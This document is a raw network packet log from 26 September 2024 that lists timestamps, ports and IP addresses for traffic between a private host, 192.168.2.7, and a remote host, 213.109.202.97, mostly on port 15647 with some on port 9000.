Sep 26, 2024 01:49:32.972084045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.987694979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.987891912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.004270077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.005525112 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.013071060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.013164997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.022454023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.022528887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.032285929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.032460928 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.046042919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.046231031 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.062019110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.062031984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.062127113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.080432892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.080535889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.097847939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.098165989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.105649948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.105673075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.105736017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.114953041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.115010023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.125061035 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.125124931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.139298916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.139368057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.139377117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.149296045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.149369001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.170758009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.170816898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.170836926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.191034079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.191050053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.191123009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.198095083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.198160887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.217603922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.217605114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.217654943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.217680931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.217703104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.222644091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.222728968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.226675987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.226744890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.231669903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.231739044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.241933107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.242156029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.249577045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.249604940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.249663115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.277209044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.282516956 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.282674074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.283670902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.283809900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.290102005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.290251970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.290503025 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.290599108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.290628910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.290647030 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.297837973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.297882080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.297921896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.319571018 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.319818020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.330256939 CEST	9000	58396	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.330521107 CEST	58396	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.333558083 CEST	58396	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.338395119 CEST	9000	58396	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.342277050 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.342356920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.352458954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.352487087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.352699041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.370418072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.370594978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.373090029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.373137951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.374936104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.377799988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.377881050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.382757902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.382838964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.390032053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.390094042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.390108109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.405834913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.405853987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.405925035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.412802935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.412885904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.432521105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.434822083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.434835911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.434891939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.437458038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.437520981 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.437602997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.437616110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.437642097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.437661886 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.442370892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.442462921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.445244074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.445310116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.450571060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.450643063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.451811075 CEST	58397	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.457298040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.457312107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.457377911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.457453966 CEST	9000	58397	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.457516909 CEST	58397	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.457604885 CEST	58397	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.462457895 CEST	9000	58397	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.467430115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.467538118 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.482567072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.482579947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.482676029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.492796898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.492813110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.492919922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.505616903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.505700111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.524713039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.524744034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.524817944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.534933090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.535022020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.549209118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.549221992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.549299002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.559994936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.560087919 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.575196028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.575345993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.595568895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.598121881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.598196030 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.600471020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.600544930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.605371952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.605456114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.612026930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.612076044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.612101078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.626341105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.626399040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.626452923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.639883041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.639974117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.640017033 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.652450085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.652544975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.668538094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.670670986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.670684099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.670753002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.687938929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.688065052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.692859888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.698002100 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.704718113 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.704781055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.704821110 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.710647106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.713809013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.727401972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.727513075 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.746665955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.746717930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.746726990 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.765547991 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.765568972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.765757084 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.780466080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.780546904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.790431976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.794322968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.803067923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.814007998 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.818057060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.818069935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.818114996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.818135977 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.834089994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.853055000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.853089094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.853163004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.856967926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.886591911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.886662006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.905683041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.905693054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.905836105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.908818960 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.924591064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.924643040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.924664974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.940399885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.940496922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.949316978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.973625898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.973694086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:33.973696947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.996506929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.996524096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:33.996622086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.002747059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.002788067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.013503075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.013797998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.013837099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.032768965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.032815933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.032896042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.051445007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.051485062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.051577091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.099011898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.099046946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.099056959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.099102020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.100773096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.100821018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.119216919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.119285107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.119345903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.136831045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.136843920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.136898994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.159691095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.159717083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.159727097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.159759045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.178467035 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.178482056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.178530931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.186016083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.186064959 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.191072941 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.191093922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.191129923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.312869072 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.358946085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.359014988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.363776922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.373051882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.377911091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.383373976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.388175964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.388226032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.391164064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.391179085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.391242981 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.396367073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.396462917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.400382042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.400396109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.400489092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.405275106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.405352116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.413615942 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413625956 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413638115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413734913 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.413744926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413758993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413774014 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413783073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.413813114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.413913012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.413970947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.414483070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.414524078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.414563894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.414577961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.414598942 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.414614916 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.414690971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.414704084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.414726019 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.414743900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.415354013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.415415049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.415429115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.415441990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.415462971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.415479898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.418879032 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.419544935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.419593096 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.421749115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.421952009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.422454119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.422492027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.434542894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.434566021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.434638977 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.450191021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.450202942 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.450249910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.461472034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.461530924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.462120056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.478235006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.483150005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.483237982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.488051891 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.488123894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.488147974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.492949963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.493058920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.493449926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.493498087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.493504047 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:34.493542910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:34.511499882 CEST	58394	15647	192.168.2.7	213.109.202.97
